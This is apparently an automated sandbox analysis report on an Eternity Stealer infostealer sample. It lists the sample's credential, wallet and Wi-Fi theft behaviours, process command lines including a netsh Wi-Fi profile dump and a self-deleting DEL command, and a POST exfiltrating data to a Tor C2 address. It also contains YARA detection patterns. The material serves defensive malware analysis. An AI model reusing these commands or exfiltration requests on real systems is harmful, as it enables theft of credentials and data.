Edit tour

Windows Analysis Report
Stealer.exe

Overview

General Information

Sample name:	Stealer.exe
Analysis ID:	1417452
MD5:	495f88115eabed181e30727f2d2363d3
SHA1:	59cd87a7e30926fc7c51a921b78216119f9d4f1c
SHA256:	cfef836fa4515f5371b8a30300098bdb03d4c91b123f0a35252757bc73b388f2
Infos:

Detection

Eternity Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Sigma detected: Capture Wi-Fi password

Yara detected Eternity Stealer

Connects to a pastebin service (likely for C&C)

Contains functionality to capture screen (.Net source)

Deletes itself after installation

Found Tor onion address

Installs new ROOT certificates

Machine Learning detection for sample

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Self deletion via cmd or bat file

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses netsh to modify the Windows network and firewall settings

Uses ping.exe to check the status of other devices and networks

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Stores large binary data to the registry

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

Stealer.exe (PID: 2308 cmdline: "C:\Users\user\Desktop\Stealer.exe" MD5: 495F88115EABED181E30727F2D2363D3)

cmd.exe (PID: 2436 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

chcp.com (PID: 628 cmdline: chcp 65001 MD5: 0C8C209151A45A4D7774E89C2F4079AA)

netsh.exe (PID: 2300 cmdline: netsh wlan show profile MD5: 637982A421D0133DCEAA0D1490D1DC9C)

findstr.exe (PID: 2496 cmdline: findstr All MD5: 6A2E9BBD516D064C925A9634A5632854)

cmd.exe (PID: 1948 cmdline: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

chcp.com (PID: 1912 cmdline: chcp 65001 MD5: 0C8C209151A45A4D7774E89C2F4079AA)

PING.EXE (PID: 2636 cmdline: ping 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Stealer.exe	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
Stealer.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Stealer.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4a07e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4a0f0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4a17a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4a20c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4a276:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4a2e8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4a37e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4a40e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.333992859.0000000000AD2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x5f8cc:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: Stealer.exe PID: 2308	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
Process Memory Space: Stealer.exe PID: 2308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Stealer.exe PID: 2308	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x931c3:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Stealer.exe.ad0000.0.unpack	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
0.0.Stealer.exe.ad0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.Stealer.exe.ad0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4a07e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4a0f0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4a17a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4a20c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4a276:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4a2e8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4a37e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4a40e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\Desktop\Stealer.exe, QueryName: ip-api.com

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Stealer.exe", ParentImage: C:\Users\user\Desktop\Stealer.exe, ParentProcessId: 2308, ParentProcessName: Stealer.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 2436, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Stealer.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa

Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: Stealer.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.22:49164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.34.170:443 -> 192.168.2.22:49165 version: TLS 1.2

Source: Stealer.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com

Found Tor onion address

Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: khttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa2a2c910
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa2a2c910?u=QWxidXM%3D&p=NzAxMTg4&i=MTAyLjE2NS40OC40Mw%3D%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=V2FzaGluZ3Rvbg%3D%3D&t=MzI3
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa2a2c910?u=QWxidXM=&p=NzAxMTg4&i=MTAyLjE2NS40OC40Mw==&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=V2FzaGluZ3Rvbg==&t=MzI3
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: khttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa2a2c910

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 9200
Source: unknown	Network traffic detected: HTTP traffic on port 9200 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 9200 -> 49166

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1

Yara detected Generic Downloader

Source: Yara match	File source: Stealer.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Stealer.exe.ad0000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 188.166.166.142:9200

Source: global traffic	HTTP traffic detected: GET /tor_proxies HTTP/1.1Host: t.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/X2Ddjiv0 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /stld/4c9395d28d054ddebee26b2aa2a2c910?u=QWxidXM%3D&p=NzAxMTg4&i=MTAyLjE2NS40OC40Mw%3D%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=V2FzaGluZ3Rvbg%3D%3D&t=MzI3 HTTP/1.1Host: izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onionContent-Length: 110240Expect: 100-continueConnection: Keep-AliveData Raw: Data Ascii:

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 172.67.34.170 172.67.34.170
Source: Joe Sandbox View	IP Address: 172.67.34.170 172.67.34.170

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Users\user\Desktop\Stealer.exe

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.166.142

Source: global traffic	HTTP traffic detected: GET /tor_proxies HTTP/1.1Host: t.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/X2Ddjiv0 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: unknown

HTTP traffic detected: POST /stld/4c9395d28d054ddebee26b2aa2a2c910?u=QWxidXM%3D&p=NzAxMTg4&i=MTAyLjE2NS40OC40Mw%3D%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=V2FzaGluZ3Rvbg%3D%3D&t=MzI3 HTTP/1.1Host: izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onionContent-Length: 110240Expect: 100-continueConnection: Keep-AliveData Raw: Data Ascii:

Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Stealer.exe, 00000000.00000002.466624556.000000001A554000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF1B000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: Stealer.exe, 00000000.00000002.466624556.000000001A554000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: Stealer.exe, 00000000.00000002.466624556.000000001A554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comp
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Stealer.exe, 00000000.00000002.466413641.00000000023AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://t.me
Source: Stealer.exe, 00000000.00000002.466413641.00000000023AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://t.mep
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn5.cdn-telegram.org/file/urI_EKpgc2j3bnVEG7hJPiftbxwqp29Csge9PUwai_V9SyHDH8vYkc30DN237hWwA
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Stealer.exe	String found in binary or memory: https://github.com/L1ghtM4n/TorProxy/blob/main/LIB/Tor.zip?raw=true
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/X2Ddjiv0
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/X2Ddjiv0p
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cription
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Stealer.exe, 00000000.00000002.466624556.000000001A554000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF1B000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me
Source: Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/tor_proxies
Source: Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/tor_proxiesp
Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.22:49164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.34.170:443 -> 192.168.2.22:49165 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: Stealer.exe, qq16.cs

.Net Code: MakeScreenshot

System Summary

Malicious sample detected (through community Yara rule)

Source: Stealer.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.Stealer.exe.ad0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: Stealer.exe PID: 2308, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DB2C2D	0_2_000007FE93DB2C2D
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DA3BF5	0_2_000007FE93DA3BF5
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D8CA06	0_2_000007FE93D8CA06
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D998ED	0_2_000007FE93D998ED
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DB0DAA	0_2_000007FE93DB0DAA
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DAE211	0_2_000007FE93DAE211
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D961B0	0_2_000007FE93D961B0
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D940D5	0_2_000007FE93D940D5
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DA4794	0_2_000007FE93DA4794
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DA2784	0_2_000007FE93DA2784
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D8D7B2	0_2_000007FE93D8D7B2
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D856F1	0_2_000007FE93D856F1
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D876F0	0_2_000007FE93D876F0
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D88568	0_2_000007FE93D88568
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81008	0_2_000007FE93D81008
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81030	0_2_000007FE93D81030
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81028	0_2_000007FE93D81028
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81020	0_2_000007FE93D81020
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81070	0_2_000007FE93D81070
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D81068	0_2_000007FE93D81068
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D8C509	0_2_000007FE93D8C509

Source: Stealer.exe, 00000000.00000000.334000781.0000000000B26000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDeath13.exe: vs Stealer.exe
Source: Stealer.exe, 00000000.00000002.466352660.000000000035D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Stealer.exe
Source: Stealer.exe	Binary or memory string: OriginalFilenameDeath13.exe: vs Stealer.exe

Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
